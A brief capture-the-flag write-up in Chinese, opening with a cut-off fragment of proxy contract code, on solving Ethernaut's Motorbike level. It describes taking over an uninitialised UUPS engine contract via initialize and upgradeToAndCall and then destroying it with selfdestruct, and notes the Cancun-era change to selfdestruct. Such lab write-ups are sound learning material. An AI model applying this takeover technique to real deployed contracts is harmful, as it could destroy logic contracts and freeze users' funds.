require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");        AddressSlot storage r;        assembly {            r_slot := _IMPLEMENTATION_SLOT        }        r.value = newImplementation;    }}

在motorbike中对engine初始化的过程中,由于是delegatecall,engine中的两个public变量:upgrader和horsePower都是没有被改变的。所以可以手动调用initalize,然后通过upgradeToAndCall,进行selfdestruct。

按理说上面这个合约运行一遍就能过了。但是看到了issue。新版本的evm (cancun)中,selfdestruct只能在创建合约的交易中被完成。所以只能手动完成合约的创建和删除,才能通过这道题目。直接去看这位小哥的代码吧。https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/tree/main